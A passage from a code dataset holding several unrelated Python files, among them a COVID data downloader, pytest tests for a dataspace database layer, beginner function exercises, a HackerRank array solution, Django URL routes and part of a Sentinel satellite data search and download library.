lost~\")","repo_name":"Thisisamulya/100DaysOfCodePython","sub_path":"day7.py","file_name":"day7.py","file_ext":"py","file_size_in_byte":1493,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"25326705758","text":"#!/usr/bin/env python3\n\nimport os\nimport sys\n\nimport requests\n\nimport datasets\n\n\ndef main():\n    os.makedirs('working', exist_ok=True)\n    for name, url in datasets.DATASETS.items():\n        print('Downloading {} dataset... '.format(name), end='', flush=True)\n        req = requests.get(url)\n        if req.status_code != 200:\n            print('Error getting {} dataset'.format(name),\n                  file=sys.stderr,\n                  flush=True)\n            continue\n        else:\n            print('Done', flush=True)\n        outpath = datasets.path(name)\n        with open(outpath, 'w') as outfile:\n            outfile.write(req.text)\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"jstnhuang/covidcharts","sub_path":"backend/download_raw_data.py","file_name":"download_raw_data.py","file_ext":"py","file_size_in_byte":682,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"40708365286","text":"import datetime\n\nimport pytest\n\nfrom sqlalchemy.exc import NoResultFound\n\nfrom decisionengine.framework.dataspace import dataspace as ds\nfrom decisionengine.framework.dataspace.datablock import Header, Metadata\nfrom decisionengine.framework.dataspace.tests.fixtures import (  # noqa: F401\n    DATABASES_TO_TEST,\n    dataspace,\n    PG_DE_DB_WITHOUT_SCHEMA,\n    PG_PROG,\n    SQLALCHEMY_PG_WITH_SCHEMA,\n    SQLALCHEMY_TEMPFILE_SQLITE,\n)\n\n\ndef test_has_config(dataspace):  # noqa: F811\n    \"\"\"verify our config entry exists\"\"\"\n    assert isinstance(dataspace.config, dict)\n\n\ndef test_dataspace_config_finds_bad():\n    with pytest.raises(ds.DataSpaceConfigurationError) as e:\n        ds.DataSpace({})\n    assert e.match(\"missing dataspace information\")\n\n    with pytest.raises(ds.DataSpaceConfigurationError) as e:\n        ds.DataSpace({\"dataspace\": \"asdf\"})\n    assert e.match(\"dataspace key must correspond to a dictionary\")\n\n    with pytest.raises(ds.DataSpaceConfigurationError) as e:\n        ds.DataSpace({\"dataspace\": {\"asdf\": \"asdf\"}})\n    assert e.match(\"Invalid dataspace configuration\")\n\n\ndef test_get_taskmanager_exists(dataspace):  # noqa: F811\n    \"\"\"Can I get a taskmanager by name or name and uuid\"\"\"\n    # should return the 'newest' instance\n    result1 = dataspace.get_taskmanager(taskmanager_name=\"taskmanager1\")\n    assert result1[\"name\"] == \"taskmanager1\"\n    assert str(result1[\"taskmanager_id\"]) == \"11111111-1111-1111-1111-111111111111\"\n\n    result2 = dataspace.get_taskmanager(\n        taskmanager_name=\"taskmanager1\",\n        taskmanager_id=\"11111111-1111-1111-1111-111111111111\",\n    )\n    assert result2[\"name\"] == \"taskmanager1\"\n    assert str(result2[\"taskmanager_id\"]) == \"11111111-1111-1111-1111-111111111111\"\n\n    assert result1 == result2\n\n\ndef test_delete(dataspace):  # noqa: F811\n    # this doesn't do much at this level, but we can make sure it exists\n    dataspace.delete(\"11111111-1111-1111-1111-111111111111\")\n    dataspace.delete(\"22222222-2222-2222-2222-222222222222\", all_generations=True)\n\n\ndef test_mark_expired(dataspace):  # noqa: F811\n    # this doesn't do much at this level, but we can make sure it exists\n    dataspace.mark_expired(\"11111111-1111-1111-1111-111111111111\", 1, \"my_test_key\", 0)\n\n\ndef test_get_taskmanager_not_exists(dataspace):  # noqa: F811\n    \"\"\"This should error out\"\"\"\n    with pytest.raises((KeyError, NoResultFound)):\n        dataspace.get_taskmanager(taskmanager_name=\"no_such_task_manager\")\n    with pytest.raises((KeyError, NoResultFound)):\n        dataspace.get_taskmanager(\n            taskmanager_name=\"no_such_task_manager\",\n            taskmanager_id=\"11111111-1111-1111-1111-111111111111\",\n        )\n\n\ndef test_get_taskmanagers(dataspace):  # noqa: F811\n    \"\"\"Can I get multimple task managers\"\"\"\n    yesterday = str(datetime.datetime.now() - datetime.timedelta(days=1))\n    two_years_future = str(datetime.datetime.now() + datetime.timedelta(days=730))\n\n    result0 = dataspace.get_taskmanagers()\n    assert len(result0) == 2\n\n    result1 = dataspace.get_taskmanagers(taskmanager_name=\"taskmanager1\")\n    assert len(result1) == 1\n    assert result1[0][\"name\"] == \"taskmanager1\"\n    assert str(result1[0][\"taskmanager_id\"]) == \"11111111-1111-1111-1111-111111111111\"\n\n    result2 = dataspace.get_taskmanagers(start_time=yesterday)\n    assert len(result2) == 1\n    assert result2[0][\"name\"] == \"taskmanager2\"\n    assert str(result2[0][\"taskmanager_id\"]) == \"22222222-2222-2222-2222-222222222222\"\n\n    result3 = dataspace.get_taskmanagers(end_time=yesterday)\n    assert len(result3) == 1\n    assert result3[0][\"name\"] == \"taskmanager1\"\n    assert str(result3[0][\"taskmanager_id\"]) == \"11111111-1111-1111-1111-111111111111\"\n\n    result4 = dataspace.get_taskmanagers(taskmanager_name=\"taskmanager1\", end_time=yesterday)\n    assert len(result4) == 1\n    assert result4[0][\"name\"] == \"taskmanager1\"\n    assert str(result4[0][\"taskmanager_id\"]) == \"11111111-1111-1111-1111-111111111111\"\n\n    result5 = dataspace.get_taskmanagers(taskmanager_name=\"taskmanager2\", start_time=yesterday)\n    assert len(result5) == 1\n    assert result5[0][\"name\"] == \"taskmanager2\"\n    assert str(result5[0][\"taskmanager_id\"]) == \"22222222-2222-2222-2222-222222222222\"\n\n    result6 = dataspace.get_taskmanagers(\n        taskmanager_name=\"taskmanager2\", start_time=yesterday, end_time=two_years_future\n    )\n    assert len(result6) == 1\n    assert result6[0][\"name\"] == \"taskmanager2\"\n    assert str(result6[0][\"taskmanager_id\"]) == \"22222222-2222-2222-2222-222222222222\"\n\n    result7 = dataspace.get_taskmanagers(start_time=yesterday, end_time=two_years_future)\n    assert len(result7) == 1\n    assert result7[0][\"name\"] == \"taskmanager2\"\n    assert str(result7[0][\"taskmanager_id\"]) == \"22222222-2222-2222-2222-222222222222\"\n\n\ndef test_get_taskmanagers_not_exist(dataspace):  # noqa: F811\n    \"\"\"Do I error out when asking for garbage\"\"\"\n    last_year = str(datetime.datetime.now() - datetime.timedelta(days=365))\n    two_years_future = str(datetime.datetime.now() + datetime.timedelta(days=730))\n\n    result = dataspace.get_taskmanagers(taskmanager_name=\"no_such_task_manager\")\n    assert result == []\n\n    result = dataspace.get_taskmanagers(start_time=two_years_future)\n    assert result == []\n\n    result = dataspace.get_taskmanagers(end_time=last_year, start_time=two_years_future)\n    assert result == []\n\n\ndef test_store_taskmanager(dataspace):  # noqa: F811\n    \"\"\"Can we make new entries\"\"\"\n    primary_key = dataspace.store_taskmanager(\n        name=\"taskmanager3\",\n        taskmanager_id=\"00000003-0003-0003-0003-000000000003\",\n    )\n    assert primary_key > 1\n\n\ndef test_get_last_generation_id(dataspace):  # noqa: F811\n    \"\"\"Can we get the last generation id by name or name and uuid\"\"\"\n    result1 = dataspace.get_last_generation_id(taskmanager_name=\"taskmanager1\")\n    assert result1 == 1\n    result1 = dataspace.get_last_generation_id(\n        taskmanager_name=\"taskmanager1\",\n        taskmanager_id=\"11111111-1111-1111-1111-111111111111\",\n    )\n    assert result1 == 1\n\n    result2 = dataspace.get_last_generation_id(\n        taskmanager_name=\"taskmanager2\",\n        taskmanager_id=\"22222222-2222-2222-2222-222222222222\",\n    )\n    assert result2 == 2\n\n\ndef test_get_last_generation_id_not_exist(dataspace):  # noqa: F811\n    \"\"\"Does it error out if we ask for a bogus taskmanager?\"\"\"\n    with pytest.raises((KeyError, NoResultFound)):\n        dataspace.get_last_generation_id(taskmanager_name=\"no_such_task_manager\")\n    with pytest.raises((KeyError, NoResultFound)):\n        dataspace.get_last_generation_id(\n            taskmanager_name=\"no_such_task_manager\",\n            taskmanager_id=\"11111111-1111-1111-1111-111111111111\",\n        )\n\n\ndef test_get_header(dataspace):  # noqa: F811\n    \"\"\"Can we fetch a header?\"\"\"\n    result = dataspace.get_header(\n        taskmanager_id=1,\n        generation_id=1,\n        key=\"my_test_key\",\n    )\n\n    assert result[0] == \"11111111-1111-1111-1111-111111111111\"\n    assert result[1] == 1\n    assert result[2] == 1\n    assert result[3] == \"my_test_key\"\n    assert result[7] == \"module\"\n\n\ndef test_get_header_not_exist(dataspace):  # noqa: F811\n    \"\"\"Does it error out if we ask for a bogus header?\"\"\"\n    with pytest.raises((KeyError, NoResultFound)):\n        dataspace.get_header(\n            taskmanager_id=100,\n            generation_id=1,\n            key=\"my_test_key\",\n        )\n\n    with pytest.raises((KeyError, NoResultFound)):\n        dataspace.get_header(\n            taskmanager_id=100,\n            generation_id=10,\n            key=\"my_test_key\",\n        )\n\n    with pytest.raises((KeyError, NoResultFound)):\n        dataspace.get_header(\n            taskmanager_id=100,\n            generation_id=1,\n            key=\"no_such_key_exists\",\n        )\n\n\ndef test_get_metadata(dataspace):  # noqa: F811\n    \"\"\"Can we fetch a metadata element?\"\"\"\n    result = dataspace.get_metadata(\n        taskmanager_id=1,\n        generation_id=1,\n        key=\"my_test_key\",\n    )\n\n    assert result[0] == \"11111111-1111-1111-1111-111111111111\"\n    assert result[1] == 1\n    assert result[2] == 1\n    assert result[3] == \"my_test_key\"\n\n\ndef test_get_metadata_not_exist(dataspace):  # noqa: F811\n    \"\"\"Does it error out if we ask for a bogus metadata element?\"\"\"\n    with pytest.raises((KeyError, NoResultFound)):\n        dataspace.get_metadata(\n            taskmanager_id=100,\n            generation_id=1,\n            key=\"my_test_key\",\n        )\n\n    with pytest.raises((KeyError, NoResultFound)):\n        dataspace.get_metadata(\n            taskmanager_id=100,\n            generation_id=11111111,\n            key=\"my_test_key\",\n        )\n\n    with pytest.raises((KeyError, NoResultFound)):\n        dataspace.get_metadata(\n            taskmanager_id=100,\n            generation_id=1,\n            key=\"no_such_key_exists\",\n        )\n\n\ndef test_get_dataproducts(dataspace):  # noqa: F811\n    \"\"\"Can we get the dataproducts by uuid and uuid with key\"\"\"\n    result1 = dataspace.get_dataproducts(taskmanager_id=1)\n\n    assert len(result1) == 2\n    assert result1[0] == {\n        \"taskmanager_id\": 1,\n        \"generation_id\": 1,\n        \"key\": \"my_test_key\",\n        \"value\": b\"my_test_value\",\n    }\n    assert result1[1] == {\n        \"taskmanager_id\": 1,\n        \"generation_id\": 1,\n        \"key\": \"a_test_key\",\n        \"value\": b\"a_test_value\",\n    }\n\n    result2 = dataspace.get_dataproducts(taskmanager_id=\"2\", key=\"other_test_key\")\n\n    assert result2 == [\n        {\n            \"taskmanager_id\": 2,\n            \"generation_id\": 2,\n            \"key\": \"other_test_key\",\n            \"value\": b\"other_test_value\",\n        },\n    ]\n\n\ndef test_get_dataproducts_not_exist(dataspace):  # noqa: F811\n    \"\"\"Does it error out if we ask for bogus information?\"\"\"\n    result = dataspace.get_dataproducts(taskmanager_id=100)\n\n    assert result == []\n    result = dataspace.get_dataproducts(taskmanager_id=2, key=\"no_such_key\")\n    assert result == []\n\n\ndef test_get_dataproduct(dataspace):  # noqa: F811\n    \"\"\"Can we get the dataproduct by uuid with key\"\"\"\n    result2 = dataspace.get_dataproduct(\n        taskmanager_id=2,\n        generation_id=2,\n        key=\"other_test_key\",\n    )\n\n    assert result2 == b\"other_test_value\"\n\n\ndef test_get_datablock(dataspace):  # noqa: F811\n    \"\"\"Can we get the datablock content\"\"\"\n    result2 = dataspace.get_datablock(\n        taskmanager_id=2,\n        generation_id=2,\n    )\n\n    assert result2 == {\"other_test_key\": b\"other_test_value\"}\n\n\ndef test_get_dataproduct_not_exist(dataspace):  # noqa: F811\n    \"\"\"Does it error out if we ask for bogus information?\"\"\"\n    with pytest.raises((KeyError, NoResultFound)):\n        dataspace.get_dataproduct(\n            taskmanager_id=2,\n            generation_id=2,\n            key=\"no_such_key\",\n        )\n\n\ndef test_insert(dataspace):  # noqa: F811\n    \"\"\"Can we insert new elements\"\"\"\n    primary_key = dataspace.store_taskmanager(\"taskmanager3\", \"33333333-3333-3333-3333-333333333333\")\n    assert primary_key > 1\n\n    header = Header(primary_key)\n    metadata = Metadata(primary_key)\n    dataspace.insert(\n        primary_key,\n        1,\n        \"sample_test_key\",\n        b\"sample_test_value\",\n        header,\n        metadata,\n    )\n\n    result1 = dataspace.get_dataproducts(taskmanager_id=primary_key)\n\n    assert result1 == [\n        {\n            \"key\": \"sample_test_key\",\n            \"taskmanager_id\": primary_key,\n            \"generation_id\": 1,\n            \"value\": b\"sample_test_value\",\n        }\n    ]\n\n    result2 = dataspace.get_dataproducts(taskmanager_id=primary_key, key=\"sample_test_key\")\n\n    assert result1 == result2\n\n\ndef test_update(dataspace):  # noqa: F811\n    \"\"\"Do updates work as expected\"\"\"\n    metadata_row = dataspace.get_metadata(\n        taskmanager_id=1,\n        generation_id=1,\n        key=\"my_test_key\",\n    )\n    header_row = dataspace.get_header(\n        taskmanager_id=1,\n        generation_id=1,\n        key=\"my_test_key\",\n    )\n    dataspace.update(\n        taskmanager_id=1,\n        generation_id=1,\n        key=\"my_test_key\",\n        value=b\"I changed IT\",\n        header=Header(\n            header_row[0],\n            create_time=header_row[4],\n            expiration_time=header_row[5],\n            scheduled_create_time=header_row[6],\n            creator=header_row[7],\n            schema_id=header_row[8],\n        ),\n        metadata=Metadata(\n            metadata_row[0],\n            state=metadata_row[4],\n            generation_id=metadata_row[2],\n            generation_time=metadata_row[5],\n            missed_update_count=metadata_row[6],\n        ),\n    )\n\n    result1 = dataspace.get_dataproduct(\n        taskmanager_id=1,\n        generation_id=1,\n        key=\"my_test_key\",\n    )\n\n    assert result1 == b\"I changed IT\"\n\n\ndef test_update_bad(dataspace):  # noqa: F811\n    \"\"\"Do updates fail to work on bogus taskmanager as expected\"\"\"\n    metadata_row = dataspace.get_metadata(\n        taskmanager_id=1,\n        generation_id=1,\n        key=\"my_test_key\",\n    )\n    header_row = dataspace.get_header(\n        taskmanager_id=1,\n        generation_id=1,\n        key=\"my_test_key\",\n    )\n    with pytest.raises(Exception):\n        dataspace.update(\n            taskmanager_id=100,\n            generation_id=1,\n            key=\"my_test_key\",\n            value=b\"I changed IT\",\n            header=Header(\n                header_row[0],\n                create_time=header_row[4],\n                expiration_time=header_row[5],\n                scheduled_create_time=header_row[6],\n                creator=header_row[7],\n                schema_id=header_row[8],\n            ),\n            metadata=Metadata(\n                metadata_row[0],\n                state=metadata_row[4],\n                generation_id=metadata_row[2],\n                generation_time=metadata_row[5],\n                missed_update_count=metadata_row[6],\n            ),\n        )\n\n\ndef test_duplicate_datablock(dataspace):  # noqa: F811\n    \"\"\"Can we duplicate taskmanager1 and all its entries\"\"\"\n    result1 = dataspace.get_last_generation_id(\n        taskmanager_name=\"taskmanager1\",\n        taskmanager_id=\"11111111-1111-1111-1111-111111111111\",\n    )\n    assert result1 == 1\n\n    result1 = dataspace.get_dataproducts(\n        taskmanager_id=1,\n    )\n    assert len(result1) == 2\n\n    dataspace.duplicate_datablock(1, 1, 90)\n\n    result1 = dataspace.get_last_generation_id(\n        taskmanager_name=\"taskmanager1\",\n        taskmanager_id=\"11111111-1111-1111-1111-111111111111\",\n    )\n    assert result1 == 90\n","repo_name":"HEPCloud/decisionengine","sub_path":"src/decisionengine/framework/dataspace/tests/test_dataspace.py","file_name":"test_dataspace.py","file_ext":"py","file_size_in_byte":14513,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"35"}
{"seq_id":"17152021721","text":"def sum(num1,num2):     #num은 마치 리스트 자료형처럼 적용된다\n    return num1+num2\n\nresult = sum(10,20)\nprint(\"두수의 합=\",result)\n\ndef sum(*num):\n    tot=0\n    for i in num:\n       tot+=i\n    return tot\nr1=sum(10,20,30)\nr2=sum(1,2,3,4,5,6,7,8,9,10)\nprint(r1)\nprint(r2)\n\ndef calc(res,*num):\n    if res == \"덧셈\":\n        tot=0\n        for i in num:\n            tot += i\n    elif res == \"곱셈\":\n        tot=1\n        for i in num:\n            tot *= i\n    return tot\nr1=calc(\"덧셈\",1,10)\nr2=calc(\"곱셈\",1,2,4,9)\nprint(r1)\nprint(r2)\n\n","repo_name":"leesohyeon/Python_ac","sub_path":"1105/functionex/FunTest06.py","file_name":"FunTest06.py","file_ext":"py","file_size_in_byte":560,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"22661031513","text":"#!/usr/bin/env python\n'''\nAn array is a type of data structure that stores elements of the same type in a contiguous block of memory. In an array A , of size N, \neach memory location has some unique index, i (where 0<=i<N), that can be referenced as A(i)\nGiven an array,A(i) , of N  integers, print each element in reverse order as a single line of space-separated integers.\n\nNote: If you've already solved our C++ domain's Arrays Introduction challenge, you may want to skip this.\n\nInput Format\n\nThe first line contains an integer, N (the number of integers inA ). \nThe second line contains N space-separated integers describing A .'''\n#!/bin/python3\n\nimport math\nimport os\nimport random\nimport re\nimport sys\n\n# Complete the reverseArray function below.\ndef reverseArray(a):\n    arr = a\n    for i in range (0,int(len(arr)/2)):\n        arr[i],arr[len(arr)-1-i]=arr[len(arr)-1-i],arr[i]\n    return arr\n\n\nif __name__ == '__main__':\n    fptr = open(os.environ['OUTPUT_PATH'], 'w')\n\n    arr_count = int(input())\n\n    arr = list(map(int, input().rstrip().split()))\n\n    res = reverseArray(arr)\n\n    fptr.write(' '.join(map(str, res)))\n    fptr.write('\\n')\n\n    fptr.close()\n","repo_name":"quantabox/hackerrank","sub_path":"problem_solving/array_DS.py","file_name":"array_DS.py","file_ext":"py","file_size_in_byte":1169,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"10386375943","text":"from django.contrib import admin\nfrom django.urls import path,include\nfrom order import views\n\nurlpatterns = [\n    # path('admin/', admin.site.urls),\n    # path('', include('order.urls')),\n    path(\"\",views.home, name='demo'),\n    path('sell',views.sell, name='sell'),\n    path('register',views.register, name='register'),\n    # path('order/booked',views.booked, name='booked'),\n    # path(\"about\", views.about, name='about'),\n    # path(\"services\", views.service, name=\"sevices\"),\n    path(\"contact\", views.contact, name=\"contact\"),\n    path('order',views.orderaction, name ='order'),\n    path('home1',views.home1, name='home1'),\n    \n]","repo_name":"Shashank-Deep/Kabaddiwala","sub_path":"website/order/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":637,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"42186703177","text":"from __future__ import print_function\nfrom future.utils import raise_from\nimport os\nimport sys\nimport datetime\nimport time\nimport requests\nfrom lxml import etree, html, objectify\nimport logging\nfrom collections import OrderedDict\nimport hashlib\nfrom io import StringIO\nimport geopandas as gpd\nimport pandas as pd\nimport shapely.wkt as wkt\nimport shapely.ops as ops\nfrom shapely.geometry import GeometryCollection, MultiPolygon, Polygon, LineString, box\nfrom shapely.ops import transform\nimport shapely\nimport math\nimport pyproj\nfrom . import geo_shapely as geoshp\nfrom . import geopandas_coloc\nimport warnings\nfrom tqdm.auto import tqdm\nimport pytz\nfrom packaging import version\nimport tempfile\nimport re\nimport string\nimport zipfile\n\nlogger = logging.getLogger(\"sentinelRequest\")\nlogger.addHandler(logging.NullHandler())\n\nif sys.gettrace():\n    logger.setLevel(logging.DEBUG)\n    logger.debug('logging level set to logging.DEBUG')\n    pd.set_option('display.max_rows', 500)\n    pd.set_option('display.max_columns', 500)\n    pd.set_option('display.width', 1000)\nelse:\n    logger.setLevel(logging.INFO)\n\ntry:\n    from html2text import html2text\nexcept:\n    logger.info(\"html2text not found. Consider 'pip install html2text' for better error messages.\")\n    html2text = lambda x: x\n\n# default values (user may change them)\ndefault_user = 'guest'\ndefault_password = 'guest'\ndefault_cachedir = None\ndefault_alt_path = None\ndefault_cacherefreshrecent = datetime.timedelta(days=7)\ndefault_timedelta_slice = datetime.timedelta(weeks=1)\ndefault_filename = 'S1*'\n\n# all wkt objects feeded to scihub will keep rounding_precision digits (1 = 0.1 )\n# this will allow to not have too long requests\nrounding_precision = 1\n\nanswer_fields = [u'acquisitiontype', u'beginposition', u'endposition', u'filename',\n                 u'footprint', u'format', u'gmlfootprint', u'identifier',\n                 u'ingestiondate', u'instrumentname', u'instrumentshortname',\n                 u'lastorbitnumber', u'lastrelativeorbitnumber', u'missiondatatakeid',\n                 u'orbitdirection', u'orbitnumber', u'platformidentifier',\n                 u'platformname', u'polarisationmode', u'productclass', u'producttype',\n                 u'relativeorbitnumber', u'sensoroperationalmode', u'size',\n                 u'slicenumber', u'status', u'swathidentifier', u'url',\n                 u'url_alternative', u'url_icon', u'uuid']\n\ndateformat = \"%Y-%m-%dT%H:%M:%S.%fZ\"\ndateformat_alt = \"%Y-%m-%dT%H:%M:%S\"\n\nurlapi = 'https://apihub.copernicus.eu/apihub/search'\n#urlapi = 'https://scihub.copernicus.eu/dhus/search'\n\n# earth as multi poly\nearth = GeometryCollection(list(gpd.read_file(gpd.datasets.get_path('naturalearth_lowres')).geometry)).buffer(0)\n\n# projection used by scihub\nif hasattr(pyproj, 'CRS') and version.parse(gpd.__version__) >= version.parse(\"0.7.0\"):\n    # pyproj.CRS is handled by geopandas since 0.7.0\n    scihub_crs = pyproj.CRS(\"epsg:4326\")\nelse:\n    logger.warning(\"pyproj < 2.0 and geopandas < 0.7 are deprecated\")\n    scihub_crs = {'init': 'epsg:4326'}\n\n# empty safe gdf\nsafes_empty = gpd.GeoDataFrame(columns=answer_fields, geometry='footprint', crs=scihub_crs)\n\n\nclass ScihubError(UserWarning):\n    \"\"\"class handler for ScihubError warnnings\"\"\"\n    pass\n\n\n# remove_dom\nxslt = '''<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">\n<xsl:output method=\"xml\" indent=\"no\"/>\n\n<xsl:template match=\"/|comment()|processing-instruction()\">\n    <xsl:copy>\n      <xsl:apply-templates/>\n    </xsl:copy>\n</xsl:template>\n\n<xsl:template match=\"*\">\n    <xsl:element name=\"{local-name()}\">\n      <xsl:apply-templates select=\"@*|node()\"/>\n    </xsl:element>\n</xsl:template>\n\n<xsl:template match=\"@*\">\n    <xsl:attribute name=\"{local-name()}\">\n      <xsl:value-of select=\".\"/>\n    </xsl:attribute>\n</xsl:template>\n</xsl:stylesheet>\n'''\n\nremove_dom = etree.XSLT(etree.fromstring(xslt))\n\n\ndef is_geographic(crs):\n    \"\"\" return True if crs is geographic. \n        once old pyproj/geopandas deprecated, this function should be replaced\n        with crs.is_geographic (or pyproj.CRS(crs).is_geographic )\n    \"\"\"\n    try:\n        return pyproj.CRS(crs).is_geographic\n    except:\n        # old pyproj\n        return pyproj.Proj(**crs).is_latlong()\n\n\ndef nice_string(obj):\n    \"\"\"try to convert obj to nice string\"\"\"\n    xml = False\n    string = str(obj)\n    try:\n        # xml ?\n        try:\n            # if xml string\n            obj = etree.fromstring(obj)\n        except:\n            # assume already etree\n            pass\n        etree.indent(obj, space=\"  \")\n        string = etree.tostring(obj, pretty_print=True).decode('unicode_escape')\n        xml = True\n    except:\n        pass\n\n    try:\n        obj = obj.decode('unicode_escape')\n    except:\n        pass\n\n    if not xml:\n        # html string ?\n        try:\n            check_html = html.fromstring(obj)\n            if check_html.find('.//*') is not None:\n                string = html2text(obj)\n        except:\n            pass\n\n    return string\n\n\ndef wget(url, outfile, progress=True, user=None, password=None, desc=''):\n\n    # get default keywords values\n    if user is None:\n        user = default_user\n    if password is None:\n        password = default_password\n\n    if os.path.exists(outfile):\n        return 303, outfile\n\n    response = requests.get(url, stream=True, auth=(user, password))\n    if response.status_code == 202:\n        # not online\n        return response.status_code, None\n    elif response.status_code != 200:\n        logger.debug('strange status %d for %s' % (response.status_code, outfile))\n\n    length = int(response.headers.get('content-length', 0))\n\n    # make a tempfile\n    basename = os.path.basename(outfile)\n    dirname = os.path.dirname(outfile)\n    prefix, suffix = os.path.splitext(basename)\n    progress_bar = tqdm(total=length, unit='iB', unit_scale=True, desc=desc, leave=False, disable=not progress)\n    with tempfile.NamedTemporaryFile(suffix='.tmp', prefix=prefix, dir=dirname, delete=False) as handle:\n        chunk_size = 10*1024**2\n        for data in response.iter_content(chunk_size=chunk_size):\n            progress_bar.update(len(data))\n            handle.write(data)\n        os.rename(handle.name, outfile)\n    progress_bar.close()\n    return response.status_code, outfile\n\n\ndef safe_dir(filename, path='.', only_exists=False):\n    \"\"\"\n    get dir path from safe filename.\n\n    Parameters\n    ----------\n    filename: str\n        SAFE filename, with no dir, and valid nomenclature\n    path: str or list of str\n        path template\n    only_exists: bool\n        if True and path doesn't exists, return None.\n        if False, return last path found\n\n    Examples\n    --------\n    For datarmor at ifremer, path template should be:\n\n    '/home/datawork-cersat-public/cache/project/mpc-sentinel1/data/esa/${longmissionid}/L${LEVEL}/${BEAM}/${MISSIONID}_${BEAM}_${PRODUCT}${RESOLUTION}_${LEVEL}${CLASS}/${year}/${doy}/${SAFE}'\n\n    For creodias, it should be:\n\n    '/eodata/Sentinel-1/SAR/${PRODUCT}/${year}/${month}/${day}/${SAFE}'\n\n    Returns\n    -------\n    str\n        path from template\n\n    \"\"\"\n\n    # this function is shared between sentinelrequest and xsar\n\n    if 'S1' in filename:\n        regex = re.compile(\n            \"(...)_(..)_(...)(.)_(.)(.)(..)_(........T......)_(........T......)_(......)_(......)_(....).SAFE\")\n        template = string.Template(\n            \"${MISSIONID}_${BEAM}_${PRODUCT}${RESOLUTION}_${LEVEL}${CLASS}${POL}_${STARTDATE}_${STOPDATE}_${ORBIT}_${TAKEID}_${PRODID}.SAFE\")\n    elif 'S2' in filename:\n        # S2B_MSIL1C_20211026T094029_N0301_R036_T33SWU_20211026T115128.SAFE\n        #YYYYMMDDHHMMSS: the datatake sensing start time\n        #Nxxyy: the PDGS Processing Baseline number (e.g. N0204)\n        #ROOO: Relative Orbit number (R001 - R143)\n        #Txxxxx: Tile Number field*\n        # second date if product discriminator\n        regex = re.compile(\n            \"(...)_(MSI)(...)_(........T......)_N(....)_R(...)_T(.....)_(........T......).SAFE\")\n        template = string.Template(\n            \"${MISSIONID}_${PRODUCT}${LEVEL}_${STARTDATE}_${PROCESSINGBL}_${ORBIT}_${TIlE}_${PRODID}.SAFE\")\n    else:\n        raise Exception('mission not handle')\n    regroups = re.search(regex, filename)\n    tags = {}\n    for itag, tag in enumerate(re.findall(r\"\\$\\{([\\w]+)\\}\", template.template), start=1):\n        tags[tag] = regroups.group(itag)\n\n    startdate = datetime.datetime.strptime(\n        tags[\"STARTDATE\"], '%Y%m%dT%H%M%S').replace(tzinfo=pytz.UTC)\n    tags['SAFE'] = regroups.group(0)\n    tags[\"missionid\"] = tags[\"MISSIONID\"][1:3].lower() # should be replaced by tags[\"MISSIONID\"].lower()\n    tags[\"longmissionid\"] = 'sentinel-%s' % tags[\"MISSIONID\"][1:3].lower()\n    tags[\"year\"] = startdate.strftime(\"%Y\")\n    tags[\"month\"] = startdate.strftime(\"%m\")\n    tags[\"day\"] = startdate.strftime(\"%d\")\n    tags[\"doy\"] = startdate.strftime(\"%j\")\n    if isinstance(path, str):\n        path = [path]\n    filepath = None\n    for p in path:\n        # deprecation warnings (see https://github.com/oarcher/sentinelrequest/issues/4)\n        if '{missionid}' in p:\n            warnings.warn('{missionid} tag is deprecated. Update your path template to use {longmissionid}')\n        filepath = string.Template(p).substitute(tags)\n        if not filepath.endswith(filename):\n            filepath = os.path.join(filepath, filename)\n        if only_exists:\n            if not os.path.isfile(os.path.join(filepath,'manifest.safe')):\n                filepath = None\n            else:\n                # a path was found. Stop iterating over path list\n                break\n    return filepath\n\n\ndef get_scihub_odata(odata_url):\n    \"\"\"\n    get odata attribute from odata url.\n    odata result are not cached, because they are volatiles (ie online status)\n    \"\"\"\n    odata = {}\n    xmlout = requests.get(odata_url, auth=(default_user, default_password))\n    root = objectify.fromstring(xmlout.content)\n    odata['Online'] = root.find('*/d:Online', namespaces=root.nsmap).pyval\n    odata['OnDemand'] = root.find('*/d:OnDemand', namespaces=root.nsmap).pyval\n    return pd.Series(odata)\n\n\ndef scihub_download(safe, destination='.', desc='', progress=True):\n\n    if safe['path'] is not None and os.path.exists(os.path.join(safe['path'], 'manifest.safe')):\n        # do not download existing safe\n        logger.debug('no need to download %s' % safe['path'])\n        safe['odata_Online'] = True\n        return safe\n    else:\n        safe['path'] = None\n    \n    safe['odata_Online'], safe['odata_OnDemand'], safe['badzip'] = None, None, True\n    \n    parent_dir = safe_dir(safe['filename'], path=destination)\n    path = os.path.join(parent_dir, safe['filename'])\n\n    zip_dir = os.path.join(destination,'zip')\n    try:\n        os.makedirs(zip_dir, exist_ok=True)\n    except IOError as e:\n        raise IOError(\"Unable to create %s : %s\", (str(zip_dir) , str(e)))\n        \n    status, filezip = wget(safe['url'], os.path.join(zip_dir, \"%s.zip\" % safe['filename']),desc=desc)\n    if status == 202:\n        logger.info('%s not yet online' % safe['filename'])\n\n    if status != 200 and status != 303:\n        odata = get_scihub_odata(safe['url_alternative'])\n        safe['odata_Online'], safe['odata_OnDemand'] = odata['Online'], odata['OnDemand']\n    safe['zipfilepath'] = filezip\n    if safe['zipfilepath'] is not None:\n        os.makedirs(parent_dir, exist_ok=True)\n        partial_unzip = os.path.join(zip_dir, 'partial')\n        os.makedirs(partial_unzip, exist_ok=True)\n        try:\n            with zipfile.ZipFile(safe['zipfilepath'], 'r') as zip_ref:\n                for file in tqdm(iterable=zip_ref.namelist(), total=len(zip_ref.namelist()), desc='unzip', disable=not progress, leave=False):\n                    zip_ref.extract(member=file, path=partial_unzip)\n            safe['badzip'] = False\n        except zipfile.BadZipFile:\n            logger.info('remove bad zip  %s' % safe['zipfilepath'])\n            os.unlink(safe['zipfilepath'])\n            safe['path'] = None\n        else:\n            os.rename(os.path.join(partial_unzip, safe['filename']), path)\n            safe['path'] = path\n    else:\n        logger.error('Unable to download zipfile for %s' 